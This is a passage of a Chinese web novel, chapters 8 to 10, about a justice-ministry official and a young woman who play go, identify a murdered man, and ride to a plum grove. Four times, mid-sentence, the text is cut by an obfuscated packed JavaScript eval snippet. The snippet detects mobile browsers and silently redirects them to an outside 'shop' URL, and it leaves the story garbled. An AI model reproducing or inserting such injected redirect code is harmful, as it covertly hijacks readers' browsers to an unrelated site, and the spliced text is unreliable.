裴珩眉心一跳,起初他也以为她只是来借书,可一日借三本,隔日就换,也不知她是怎么看得完的,问及书中内容,她更是一问三不知。
他眼里掠过一丝笑意,没揭穿她。
温时玉上下扫着书架,目光落在书架底层,一副棋盘正搁在那,她寻到了新的话题:“大人平日爱下棋?”
裴珩顺着她的目光看了一眼,淡淡道:“许久未下过,早生疏了。”
温时玉弯腰将棋盘拿起来,上面果然已经落了一层薄灰,她吹了吹:“大人整日忙于公务,想必也倦了,若是得空,不如对弈两局?”
裴珩没拒绝,合上卷宗,起身来到外间。
二人盘腿坐于蒲团上,裴珩把棋盘摆好,将棋罐推到她面前:“执黑先行。”
温时玉拈起一枚黑子,看了看棋盘,把黑子落在右上角。
裴珩拈起白子,落在左下角。
棋局缓缓铺开。
起初几手,温时玉还在得意,觉得势在必得,可渐渐的便察觉出不对了,裴珩似乎总能提前预判她的意图,她的黑子不管落在哪里,他的白子总能提前一步堵住她的路。她想占边,他早已步步设防,她想往中间走,他的白子又像一堵墙,硬生生将她的黑子割裂,零零散散,首尾不能相顾。
她捏着棋子,放眼整盘棋局,已是四面受限,进退两难。不过半柱香光景,她的黑子便被团团围住,节节败退,再无回天之力。
随着裴珩最后一子落下,胜负已定。
“承让。”他收回手,神色平静,丝毫不见得胜后的得意,依旧是那副淡然的模样。
温时玉盯着棋盘上惨败的黑子,暗暗懊恼。
大意了。
裴珩嘴上说着久未对弈,棋艺生疏,却依旧布局周密,步步为营,是她太过轻敌,低估了他的算计。
“再来一局,这局不算。”她收拾起棋子,有些不服气。
裴珩勾起嘴角,没有表示异议。
第二局,温时玉全神贯注,刻意放慢了节奏,可裴珩的棋路太过沉稳老辣,她看似占了便宜,实则早踏进了他布好的陷阱,等她反应过来时,又陷入了被动。
最终棋局收官,她还是输了。
这一次,温时玉没再有借口了。
第一局是她大意轻敌,情有可原,第二局她可认真得紧,每走一子都思索许久,自认毫无破绽。
反观裴珩呢,一副未尽全力,游刃有余的模样,似乎赢她毫不费力,那副云淡风轻的样子,落在她眼里,越发叫人不痛快。
她紧抿着嘴唇,眉眼耷拉下来。
裴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485481|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珩将她的神色变化尽收眼底,有些好笑,怎么还输不起呢?
“再来一局?”他压下笑意,不等温时玉应答,便开始收拾棋盘上的棋子。
他神色认真,温时玉也没好意思拒绝。
这一局,裴珩刻意收敛了棋路,不再像方才那般步步紧逼,反而处处留手,时不时露出几分显而易见的破绽,故意给她可乘之机。
不过寥寥数子,温时玉便察觉到了不对劲,他的落子,远不如第一局缜密,本以为裴珩又在给她布陷阱,可直至落下最后一子,她确定了。
“大人让着我。”
裴珩指尖一顿,显然没料到她心思这般细腻敏锐,他否认道:“并未。”
温时玉也不说话,就静静地看着他,一双杏眼清澈透亮,裴珩被这个眼神看得不自在,目光微微偏了一下,又转回来,一时有些无措。
不让她,她输了,不高兴,让她,叫她看出来了,更不高兴。
书房里霎时安静下来。
对视了几息,还是裴珩先败下阵来。
“是我不好,重来。”他重新收拾起棋局,她棋艺并不差,是他疏忽了。
这一次,裴珩不敢再明目张胆的相让,做的极隐晦,每落一子都要观察一下她的反应,小心拿捏着分寸,不知不觉间,后背竟隐隐沁出一层薄汗。
当温时玉终于落下最后一子时,裴珩也跟着悄悄松了口气,上一次这么累,似乎还是几年前他与陛下对弈的那局。
温时玉还一脸狐疑地看着他:“大人当真没让我?”
“自然没有。”裴珩面不改色,说的肯定。
温时玉看了他片刻,没看出什么破绽,又低头复盘棋局。
裴珩莫名紧张了一瞬。
温时玉认真推演着方才的棋局,黑白交错之间,她也就堪堪险胜半目。
念及此,她唇角缓缓扬起一抹笑意,整个人都轻快起来。
就说嘛,她的棋艺也没那么差。
裴珩看着她弯起来的眉眼和藏不住的笑意,心终于落回了肚子里,端起桌上已经凉透了的茶,低头喝了一口。
温时玉毫无察觉,乐呵呵地收拾着棋盘:“大人先忙,我明日再来找大人对弈。”
裴珩手中的茶盏一晃,喉结滚了滚:“好。”
8. 第 8 章
第二日,温时玉得了裴珩的准许,在书房摆好了棋盘,然而,茶换了几盏,午膳时间已过,裴珩却依旧没回府。
她正思索着要不要差人去问问,惊风匆匆入府:“温姑娘,大人今日公务繁忙,不能回府了。”
温时玉心中顿时浮现一阵不好的预感,下意识站起身:“发生了何事?”
惊风顿了顿,还是低声道:“今日城外荒寺发现了两具尸体,已经死了有几日了,恐怕正是耿直与那跛子。”
果然,该来的消息还是来了。
温时玉深吸一口气,犹豫着开口:“那……我能去看一看吗?”
惊风没立刻应声。
他总觉得,自从大人遇见这位温姑娘,便有些不太对劲,就像今日,大人忙得脚不沾地,还不忘特意吩咐他来告诉她案子的事,居然只是怕失约于她,让她在府中枯等。
原来大人查案,哪里管过旁人的死活……不对,大人不查案的时候也不怎么管旁人死活。
所以,护卫的直觉告诉他,这不是好事。
不过大人确实交代过,若是她想来,便带她同去。惊风想了又想,还是不打算违逆大人的意思:“自然,大人吩咐,可带您同去。”
*
裴珩正在后衙看仵作递上来的验状,听见脚步声,抬眼看去,温时玉正站在门口,眉宇间的愁绪浓郁的化不开。
他还从没见过她这般神色。
“大人,”温时玉上前几步,“已经确认是耿直了吗?”
裴珩斟酌着:“两人死了多日,尸身已经腐败,不过基本对的上,仵作验尸时发现,其中一具身形较为瘦削的男尸,左腿有旧伤,骨头变形,是个跛子无疑。”
周遭气氛瞬间沉默下来。
“要是我能早些想起来就好了,兴许他们就不会死,案子也能查下去……”这个念头在温时玉心底反复盘旋,此刻终究还是脱口而出。
“不是你的错,是他们下手太快了,我们根本来不及,”裴珩当即截住了她的话,解释道,“仵作推断,他们的死亡时间,就是你被绑逃出的第二日,凶手抛尸荒庙,若不是昨日有个人抄近路回家,去庙里歇脚,尸体不知何时才会被发现。”
温时玉心头一震,幕后之人的毫不留情与干脆利落,不禁叫人后背发凉。
裴珩神色同样凝重:“耿直并非京城人士,现下能来辨认耿直身份的,恐怕也只有柳枝了,已经叫人去请她了。”
……
刑部大堂比温时玉想象的要冷得多。
不是天冷,而是这方天地间,凝聚了无数人的哭喊、叹息、忏悔、求饶,一层一层地嵌进砖石里,经年不散,最终又顺着砖缝往外渗,寒意彻骨。
裴珩坐在公案之后,绯色官袍,乌纱束发,温时玉在旁侧看着他,忽然觉得有些陌生,眼前这个人不是她认识的那个裴珩,这个人是刑部侍郎,是在这间大堂里,手握生杀予夺的掌权者。
柳枝被带上来时,脊背挺直,衣裳还是那件蓝色的,头发梳得整齐,未施脂粉,眼睛红肿,显然哭过许久。
裴珩看向她:“我们发现了两具尸体,需要你去辨认其中一具可否是耿直。”
柳枝的身子晃了晃,嗓音沙哑:“好,我去认。”
惊风在前面引路,柳枝跟着往外走,温时玉也站起来,正准备跟出去,有人拉住了她的胳膊。
是裴珩。
他眼中浮起一丝担忧,劝道:“尸体骇人,你莫要跟去了。”
温时玉摇摇头,目光坚定:“没关系,我不怕的。”
裴珩看了她片刻,还是松开了手,跟在她身侧。
验尸房在刑部大堂后面,是一间独立的矮屋,还没走到门口,便闻到了一股令人作呕的难闻气味,尸体的腐臭,混着石灰和艾草的辛辣,让人胃里一阵翻搅。
差役掀开盖在尸身上的白布,尸体的面容可谓称得上可怖,不是相熟的人恐怕根本无从分辨。
柳枝看着那张脸,看了很久:“是他。”
裴珩略微沉吟:“尸身腐败的厉害,你可确定?”
“确定,这身衣裳还是他嫌贵,不舍得买,我后来偷偷去买了给他的,衣襟处第二颗盘扣掉了,是我寻了颗差不多的缀上的,他左上臂有一道疤,是去年替赌坊里一个年轻后生挡刀留下的,左边肩胛骨上也有一道,是小时候被他爹打的,右后腰有一块青胎记,鸡蛋大小。”柳枝的声音开始有些发抖。
仵作一一核验后,躬身禀告:“大人,无误。”
裴珩颔首,将柳枝重新带到大堂,详细询问了她与耿直的过往。
柳枝是在三年前与耿直认识的,却不是在醉春阁,她当时帮妈妈外出采买,有几个地痞流氓认出了她,上前调戏,是耿直出手相助。于是,两个身处泥沼的人,在互相依偎中渐渐生出几分真心来。
至于那个跛子,她也不认识,半年前耿直与那跛子开始同来醉春阁,听他说是结识了个新朋友,有些赚钱的路子,她问过几次,耿直只说那人是做生意的,旁的便不肯多讲了。她怕他出事,劝过几回,可日子一天天过去,耿直拿来的银子一次比一次多,也没见出什么事,她也渐渐放了心。
说到这,柳枝扯了扯嘴角,自嘲一笑:“那日你们来找我,我就知道出事了,没想到这么快。”
她的声音很平静,像在说别人的事:“幼时我家里穷,我爹嫌我娘生了个赔钱货,白吃家里的饭,对我和我娘非打即骂,我从小便学会了讨好他,洗衣做饭,割草砍柴,什么都会,做得好了,他才会给我几分好脸色看。
直到七岁那年,娘生了弟弟,他就瞒着娘把我卖进了醉春阁,我那时生的丑,又瘦弱,妈妈只把我做粗使丫头,寒冬腊月,手泡在冰冷的井水里,就生了冻疮,后来做了姑娘,不再受冻了,可手还是不好,每年冬天都犯,痒得钻心……
他上次来见我,还说快攒够了钱,说一起去南边,南边暖和,冬天不冻手。”
柳枝忽然噤了声,脱力般跌倒在地,眼泪滚滚而下,像是湍急的河流终于找到了出口,汹涌决堤:“是我的错,如果不是为了给我赎身,他不会做这些事的,也不会落得这般下场,不会的,他不是个坏人……”
她的哭声,夹杂着多种情绪,怨恨、绝望、不甘、后悔……
温时玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485482|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想说点什么,却又不知该说些什么,那些人没有放过他,可他助纣为虐,又何曾放过别人,甚至连她都是其中的受害者。
这些话堵在喉咙里,她一个字也吐不出来。
……
从刑部回来,温时玉坐在廊下,看着天光一点一点暗下去,柳枝认尸时的脸一直在她眼前晃,那种平静,比哭还让人难受。
她心里闷得厉害,起身沿着青石小径慢慢走,也不知道要去哪里,等回过神来,已经站在了书房外。
书房亮着,裴珩回来了。
温时玉看着那道映在窗纸上的人影,似乎能透过窗纸看出裴珩是在提笔或翻动纸页,还是在凝神思索。
不知道过了多久,那道影子忽然朝着窗边靠近,她刚想躲,那扇窗便猛地推开了。
四目相对,她尴尬地想逃,又觉得此时转身太过刻意,只得生生站在原地,姿势有些僵硬。
“还没睡?”裴珩看到她似乎并不惊讶。
“睡不着,出来赏月。”她随意找了个借口,说完便垂下眼,恨不得咬自己舌头。
这个借口实在太过拙劣。
月亮此时被云层遮得严严实实,院子里黑沉沉的,只有廊下的灯笼透出昏黄的光。
裴珩没有拆穿,也没有追问,从窗边转身往门口走。
书房的门开了,他走到她面前,将手里拿着的外袍递给她:“风凉。”
温时玉接过来披上,那股冷松香瞬间将她笼罩。
裴珩在廊下的台阶上坐了下来,还在旁边拍了拍,示意她也坐。
温时玉愣了一下,他从来都是端端正正地坐在椅子上,脊背绷得笔直,一分不肯放松,此刻却席地而坐,手臂搭在膝头,十分随意。
二人并肩坐在台阶上,沉默了很久,周遭只有虫鸣声。
“我审过很多案子,”裴珩先开口了,“有偷窃的,谋私的,还有杀人的,每个人都有自己的理由,为还债,为报仇,为了养家糊口,为了心爱之人,那些理由,没有一个是假的。”
他侧过头看了她一眼:“自然,耿直也有。”
温时玉没有接话,低下头,他的外袍袖子太长,把她的手整个盖住了,她在袖子里捏紧了手指。
“是非善恶黑白,从来不是一刀切下去就能分的清楚明白的,他们的苦衷和不得已是真的,但不会因为是真的,就当作事情没有发生过。
“上贼船容易,下贼船难,或许自他踏上这条路开始,他便知道自己不会有善终,有些恶,从一开始就与你无关,更不是因为你做的不够好,你只是恰好站在了它旁边,便以为自己也是它的一部分。
论错,是狠心卖女的父亲的错,是那些把人命当草芥的畜生的错,是这个世道的错。”
裴珩看着她,神色比月色更温柔:“唯独,不是你的错。”
温时玉的鼻子猛然一酸,压抑着情绪此刻全都涌了上来,水汽瞬间模糊了视线。
一滴眼泪滚落,落在裴珩的衣袍上,同样落进了他心上,烫的他心尖都在颤。
他抬手,用指腹轻轻抹去挂在她脸上的泪珠。
“莫哭。”
9. 第 9 章
温时玉偏了偏头,贴上了他掌心,没有说话,也没有再落泪,任由二人肌肤相亲。
裴珩指尖一颤,眸色愈发深沉,她的脸颊温热柔软,未干的泪痕还有些潮湿,他试探着轻轻摩挲着她的肌肤,动作温柔缱绻,眼中翻涌着的心疼、悸动,再无半分遮掩。
夜色静谧,虫鸣低吟。
这一刻,横亘在二人之间所有的猜忌与顾虑,都在这无声的触碰里,暂时被抛诸脑后。
一言不发,胜过千言万语。
“喵——”
墙头上突然传来一声细细的猫叫。
温时玉惊觉,循声望去,一只橘白相间的猫正蹲在墙头,眯着眼,居高临下地看着他们,尾巴悠闲地甩来甩去。
手中猝然一空,裴珩有些不悦地看向墙头上那只橘色身影,收回了手。
“罪魁祸首”却毫不在意,轻盈地从墙头跳下来,走到裴珩脚边,看了他一眼,径直绕过他去,蹭了蹭温时玉的腿。
温时玉一笑,伸手挠它的下巴:“它这几日总来我院里蹭食,我和青荷喂过几回,就认准了。”
裴珩也伸出手,点了点它的脑袋,它耳朵动了动,没躲开。
“诶,”温时玉惊讶道,“它倒是不怕你。”
小橘猫看着老实,对不熟的人可是碰也不让碰的。
“前些日子它常来书房这边转悠,不过许久没见了,没想又跑去你院里了。”裴珩看着它,忘恩负义的小东西,亏他还喂过它几次,偏偏这时候出来捣乱。
猫儿眯起眼,喉咙里发出咕噜咕噜的声响,脑袋一个劲地往温时玉手心里拱。
“唔,”温时玉忍不住笑,“怪不得,原来早就来蹭饭了。”
它像是听懂了,头一歪,翻了个身,四仰八叉地躺在地上,扭来扭去,喉咙里咕噜声越来越响。
“它每日都去你院里?”裴珩问道。
温时玉摸了摸它露出来的柔软肚皮,回忆了下:“差不多,午后来,傍晚走,上午倒是不见踪影,大概有别家要蹭。”
裴珩勾起嘴角,看着她的侧脸,廊下昏黄的灯光把她的轮廓照得柔和,睫毛低垂,在眼下投一小片阴影。
“明日休沐,带你出去转转?”
温时玉有些意外。
“原来大人有休沐的时候,我还以为刑部一日也离不了大人。”她打趣道。
裴珩笑了声,笑声很轻,清冽如松间风,他本就生得好看,只是终日神色冷淡,显得难以亲近,此刻冷硬紧绷的眉眼舒展开,像是换了个人。
“朝堂规制,再忙也得按例休沐,”他看着她含笑的眉眼,还有在地上打滚的橘猫,“城郊有片梅林,清净,景致也好,整日对着案情,难免憋闷,出去走走也好。”
温时玉怎会听不出他话里的用意,他想散心是假,看她情绪不好,才寻了休沐的由头,想带她疏解心绪是真。
她抬头看向他,眼底亮晶晶的:“好。”
夜色渐深,凉意更重。
地上的小橘猫或许是见二人只顾着说话,也不喂它,又许是觉得冷了,翻身爬起来,甩甩尾巴,重新跳上墙头,头也不回地离开了。
裴珩轻声道:“夜深了,回去歇息吧。”
“好。”温时玉站起身,正想将身上的外袍还给他,却被他拦住。
“披着吧,我送你回去。”
到了院门口,温时玉忽然想起什么,回头看他:“大人,明日我们可以骑马去吗?”
裴珩挑眉:“你会骑马?”
温时玉笑:“会一点,不过也好久没骑过了。”
裴珩爽快应下:“好,明日我叫人选匹温驯的。”
……
次日清晨,万里晴空。
温时玉起身梳洗,换了身利落的月白色窄袖罗裙,发髻只用两根白玉簪子挽起,没有过多装饰,整个人素净又清丽。
院外,裴珩已经在等了。
像是商量好似的,他今日也是一身月白色锦袍,腰束玉带,墨发同样用玉冠束起,温润贵气。
裴珩看到她的衣裳却没有过多惊讶,反而还夸了声:“这衣裳衬你。”
温时玉跟着他往外走,府门口,有人正牵着两匹马候着,一匹栗色的,个头不高,毛色油亮,眼睛温顺地半阖着,另一匹黑马比露珠高出一头,鬃毛浓密,更雄壮强健些。
“大人,姑娘,这匹栗色牝马叫露珠,平日性子最是温驯。”那人恭敬递上缰绳。
温时玉接过去,摸了摸它,露珠低头嗅了嗅她,耳朵转转,毫无抵触,确是好性子。
她握住缰绳,左脚踩上马镫,双手扶住鞍桥,用力一撑,稳稳跨坐在马背上,露珠动了动蹄子,便又重新老实下来。
待她坐稳,裴珩才翻身上了另一匹黑马。
出城之后,视野便开阔了,两侧的田野,枯草里冒出新绿的嫩芽,春风拂面,生机勃勃。
梅林的花开的不算盛,几簇相拥着缀在枝头,阳光透过枝桠缝隙,洒下斑驳的光影,清风徐徐,带着草木与泥土的清香,远离城内的喧嚣,格外清静安宁。
二人将马拴好,不知不觉走到了梅林深处,风中渐渐有股烟熏气,若有若无。
“这附近有人家?”温时玉疑道。
裴珩指了指北面:“那边似乎有几处猎户的旧屋,应当是有人的,去看看?”
穿过一片密林,坡脚背风处,果然有几间低矮的木屋,有几间看着已荒废许久,门前荒草长得老高,唯有最里边一间小屋,看着干净整洁,门前辟了一小片菜畦,炊烟便是从那里升起来的。
一位头发花白的老婆婆正坐在门前择菜,二人快到了她跟前,她才抬头,浑浊的眼睛看过来。
“小峰回来了?”她似乎有些惊讶,站起来,手在围裙上拍了两下,上前迎了几步,走到二人跟前,这才一怔,和善地笑了笑,“不好意思二位,老眼昏花,认错人了。”
“婆婆无妨,我们是恰巧路过。”温时玉注意到她眼神不好,伸手扶了她一把。
“啊?”老婆婆侧过头,耳朵往她这凑近。
温时玉声音大了些:“婆婆,我们路过。”
“哦,哦,路过,”老婆婆点点头,十分热情地拉住她的手,“进屋歇歇,喝口茶吧,这少见有人来呢。”
温时玉与裴珩对视一眼,应下这份好意。
院里晒着几筐干菜,屋檐下整齐码着一堆堆劈好的木柴,一切都井然有序。老婆婆安排二人在院里的木凳上坐下,转身进屋,再出来时一手端了两只粗陶碗,一手抱着个陶罐。
裴珩起身接过来她手中的东西,扶她坐下。老婆婆打开陶罐,舀了两勺在碗里,倒了水化开,递给他们:“尝尝,梅花酱,甜的,好喝。”
温时玉接过来喝了一口,淡淡的甜味,带着一丝花香。
“好喝,”她由衷赞叹,“婆婆自己做的吗?”
老婆婆笑眯眯地点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485483|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头:“是,守着这片林子,就想琢磨着做点东西。”
“婆婆一个人住这里?”温时玉又问。
“老头子病了,去年走的,儿子和小孙子都在城里做工,小孙子也成家了,要接我过去,我嫌城里吵,不愿意去,”婆婆又看向二人,笑道,“你们成亲了没有?”
裴珩端着碗的手一顿。
“咳咳!”温时玉猝不及防被呛了一下,摆了摆手解释,“婆婆,我们不是……”
“哦,还没成亲啊,”老婆婆看了看裴珩,“我看这个后生和我小孙子差不多大,我小孙子前年成的亲,哎哟,我那个孙媳妇儿,模样俊的嘞……”
许是平日里鲜少有人与她说话,婆婆说起来便絮絮叨叨不停,温时玉没有打断她,只是捧着碗静静听着。
说着说着,婆婆忽然又问:“你们有娃儿了没有?”
二人俱是一愣,随即明白过来,人上了年岁,怕是有点糊涂了。
温时玉也没再跟她辩解,只是笑道:“婆婆,我们还没有成亲呢。”
“还没成亲哦,”婆婆点点头,又问,“姑娘多大啦?”
“十八。”温时玉答。
婆婆“哦”了声,看着她,满脸慈祥:“我跟老头子成亲那年,才十六,过了一辈子,我今年都七十一了。”她伸手比了个数字,干枯的手指因着长年干活,指节粗大变形,皮肤皱巴巴的,满是岁月的痕迹。
“时间不等人嘞,我跟老头子年轻的时候,也总说等等,等等,等养大了儿子就享福了,儿子大了,有了孙子,又等着孙子长大,你说,等着等着,人先没了……”她的目光又飘向远处,像是自言自语,“他在的时候,我总嫌他天不亮就起来劈柴,吵得我也睡不着,后来他走了,听不见劈柴的声音,我也睡不着了,这人呐,怪得很……”
平淡的几句感慨,道尽半生遗憾与世事无常,裴珩垂下眼,不知在想些什么。
日头渐渐高照,老婆婆执意留他们在家中吃午饭,二人推辞了半天,婆婆抓着他们的衣袖就是不撒手,还过去把院门拴上了。
二人无奈,只得留了下来。
温时玉帮着择菜,婆婆眼神不好,菜择得慢,有些根上还带着泥,她便悄悄把她择过的再择一遍。
裴珩也不好意思白吃,去了一旁劈柴。
动作很利落,但是,劈岔了。
接二连三的,柴还没劈多少,额上便沁出一层薄汗。
婆婆看着他笑出了声:“劈柴要巧劲的,看你们是富贵人家的孩子,哪里干过这活,快别忙活了。”
吃完饭,老婆婆将酿的梅花酱装了一小罐,又包好一包晒干的梅花,塞到温时玉怀里:“拿着,都是些不值钱的东西,拿回去泡水喝。”
温时玉推辞不过,道了谢,老婆婆摆摆手,送他们出门,走到院门口,她拉住裴珩的袖子,把他往旁边带了带。
温时玉站在几步之外,听不清她说了什么,只看见裴珩弯下腰,侧耳听着,老婆婆说完,还拍了拍他的手背,裴珩则郑重地点了点头。
走了段路,婆婆还站在原地朝他们挥手,温时玉同样挥挥手,转身还是忍不住好奇,问裴珩:“大人,婆婆方才跟你说了什么?”
裴珩将她手中的东西都接过去,颇有些神秘道:“想知道?”
她重重点头:“想。”
裴珩停顿了片刻。
“婆婆说,男子若是不主动些,是讨不上媳妇儿的。”
10. 第 10 章
温时玉脚步顿住。
这句话太过朴素直白,她一下子竟不知该作何反应,也分不清那婆婆是真糊涂还是假糊涂。
又或者,是裴珩故意诓她?
她狐疑地眨眨眼:“真的假的?”
“自然是真的,”裴珩一脸坦荡,“不信,下次再来,你亲自问婆婆。”
温时玉没再吭声,低着头往前走,耳根有些发烫,好在风凉,吹一吹应该就好了。
回到林中,两匹马儿被拴着等了多时,似乎有些不耐烦,高昂着头,打了个响鼻。
温时玉率先上马慢行,裴珩将陶罐和油纸包放好,正要抬脚上马。
意外骤然发生——
草丛中忽然蹿出一只野兔,直直撞在了露珠蹄子上,露珠一惊,前蹄腾空,发出一声尖锐的嘶鸣。
温时玉身子猛地后仰,本能地攥紧缰绳,双腿夹紧马腹。惊慌中的露珠会错了意,后腿一蹬便往前冲去,越跑越快,梅树枝干从两侧飞速后退,花瓣飞扬。
“时玉!”
她听见裴珩在身后喊她的名字。
“抓好,别松手!”
他的声音又隐约传来,已经有些听不清了。学骑马时,阿娘也叮嘱过她,一定要稳住神,万万不可惊慌,一旦坠马,极易被马蹄踏伤。
她更加用力的拽紧缰绳,想让露珠停下来,但露珠已经完全惊了,缰绳勒得越紧它跑得越快,马背上颠簸的节奏彻底混乱,她被反复抛起落下,身形渐渐不稳,随时都要滑落马背。
急促沉重的马蹄声很快从身后逼近,裴珩从右侧追了上来,一手控着缰绳,另一只手朝着她伸来,声音沉稳有力:“抓住我,松开缰绳!”
不等温时玉反应,裴珩俯身向左,手臂穿过她腰间,一把将她整个人从马背上捞了过来,紧紧护在身前。
温时玉下意识搂紧他的脖颈,一头撞进他坚实温暖的胸膛,他胸腔里有力的心跳,与她狂乱的心跳交织在一起,久久难平。
“别怕,没事了。”裴珩手臂牢牢箍着她的腰,下巴轻抵在她发顶,轻声安抚。
黑马又向前疾驰十余步,才被裴珩慢慢控住速度,最终停在一棵老槐树下。
“伤着没有?”他的声音从她头顶落下。
温时玉先是摇了摇头,才察觉到掌心传来阵阵火辣辣的痛感,她翻过手,掌心被粗硬的缰绳勒出深深一道红痕,皮肉磨破,点点猩红渗在素白肌肤上,刺眼又可怜。
裴珩看见,眉头皱得更紧:“回去上些药,很快就好了。”
他坐在她身后,刻意隔开了一小段距离,驾着黑马稳稳往前走,握着缰绳的手环在她身侧,也没有碰到她。
前方的露珠渐渐平复了惊惶,停在路边,鼻子喷着粗气,见两人走近,小心翼翼地踱过来,低下头蹭着温时玉的腿,似是在认错。
“不怪你,”温时玉摸了摸它的鬃毛,“吓到你了。”
回程路上,有株摇摇欲坠的断裂枯树枝,被风一吹,不偏不倚又掉到了露珠身上,吓得它打了个趔趄,不过这次没再狂奔,跑了两步就停了,惹得二人发笑。
两匹马一前一后行至裴府门前,裴珩翻身下马,朝温时玉伸出手。
门口的小厮偷偷侧目,想瞧又不敢明目张胆地瞧,像在翻白眼,模样有些滑稽。
温时玉抿了抿唇,看着裴珩依旧张开的怀抱,还是弯腰搂住了他的脖颈,由他抱了下来。
等她站稳,裴珩就松开了手:“去给你上药。”
前厅,下人将药膏与纱布送来,便识趣地退了出去,二人面对面坐着,裴珩舀出一勺温润的白色药膏,轻轻抹在她的伤口上。
刺痛袭来,温时玉忍不住倒吸一口凉气。
裴珩握住她的手腕:“忍一忍,一会就好。”
“是我学艺不精,今日害大人也受惊了。”她轻声道歉。
“不干你的事,露珠性子温顺,胆子也小,是我疏忽了。”裴珩一边抹药,一边凑近轻轻往她伤口上吹着气,眉头紧锁,似乎疼的是他一样。
气息拂过掌心,刺痛渐渐消散,温时玉的心跳却跳更快,她忽然想起方才情急之下,他叫的是叫她的名字。
心念一动,她伸手碰了碰他眉心,想将那道皱折抚平。
裴珩动作一顿,又很快恢复如常:“手不疼了?”
温时玉手一抖,讪讪收回来:“疼的是我,又不是大人,大人皱眉做什么?”
“你怎么知道我不疼?”裴珩接得很快。
“大人也受伤了?”温时玉上下打量了他一番。
“没有。”
“那大人哪疼?”
裴珩没接话,细致地为她包扎好伤口,叮嘱道:“别沾水,明日再给你换药。”
温时玉乖乖点头。
……
次日午后,阳光暖洋洋的,晒得人骨头都软了。温时玉靠着椅背,百无聊赖地翻着书,翻着翻着,眼皮就重了,书册从手里滑落,“啪嗒”一声掉在地上,她也没捡,就这么睡了过去。
裴珩拿着新制的伤药过来,目光淡淡扫过堂内,落在熟睡的温时玉身上,脚步不自觉放得更缓。
她睡得沉,怕她着凉,裴珩脱下外袍小心地给她盖上,轻轻拂开她落在颊边的一缕碎发,在一旁的椅子上坐下,没有出声惊扰。
那只橘猫不知何时又溜了进来,蹲在门口阳光下舔着爪子,舔完后打了个哈欠,眯起眼,也开始打盹。
不知过了多久,温时玉才缓缓转醒,眸中还带着刚睡醒的迷蒙,一时没能回过神,怔怔地望着前方,余光瞥见身旁的椅子上似乎有个人影,才骤然醒神。
裴珩坐在一旁,手里拿的书卷正是她方才看的那本,见她醒来,缓缓放下书卷:“醒了?”
温时玉又松了劲,懒洋洋地靠在椅背上,拽了拽身上他的外袍将自己盖得更严实:“大人何时来的,怎得不叫醒我?”
“见你睡得沉,便没打扰。”裴珩目光落在她的手上,“该换药了。”
温时玉这才想起掌心的伤口,坐直了身子,将手伸了过去。
纱布拆下,昨日磨破的掌心依旧红肿,所幸不再渗血,裴珩舀出一勺药膏,动作比昨日更为细致轻柔。
“大人,”温时玉忽然想起来一件事,“以后我还能骑马吗?”
裴珩有些无奈地看了她一眼,这次的伤还没好,还惦记着下次。
“能,”他答,“下次好好给你选一匹。”
抹完药,裴珩又看到方才掉落的那本书卷,提议道:“这些书晦涩难懂,不如买些话本回来给你解闷儿?”
“好啊。”温时玉眼睛一亮,立即答应下来。他书房里的书皆是些古籍,沉闷无趣,哪有话本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485484|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子好玩。
裴珩点头:“好,等我处理完公务去寻几本有趣的。”
……
暮色初垂,裴珩再度归来,手中提着一方素色布包。
院中却不见温时玉的身影。
问了院里的小丫鬟,说姑娘去后园看花了,他便没让人去催,进了屋,把布包搁在桌上,随手拣了最上头一本翻了几页。
市井闲谈,写得浅白诙谐,配了几幅活灵活现的插图,看着倒是有意思。又换了一本,这本是异闻,写得阴气森森,他翻了两页便合上了,这本夜里看怕是要做噩梦,还是不让她看为好。
布包里一共六七本,裴珩挨个翻了翻,市井趣谈、奇异志怪、闺阁闲情,瞧着都还算有趣,直到他拿起最后一本。
封皮上只写了三个字——觅春记。
没有绣像,没有题跋,看样子又是俗套的才子佳人的故事。
他漫不经心地翻开一页,脸色顿时变了,“啪”地把书合上。
大约是眼花了。
他盯着封皮上那三个字看了片刻,又翻开几页。
没看错。
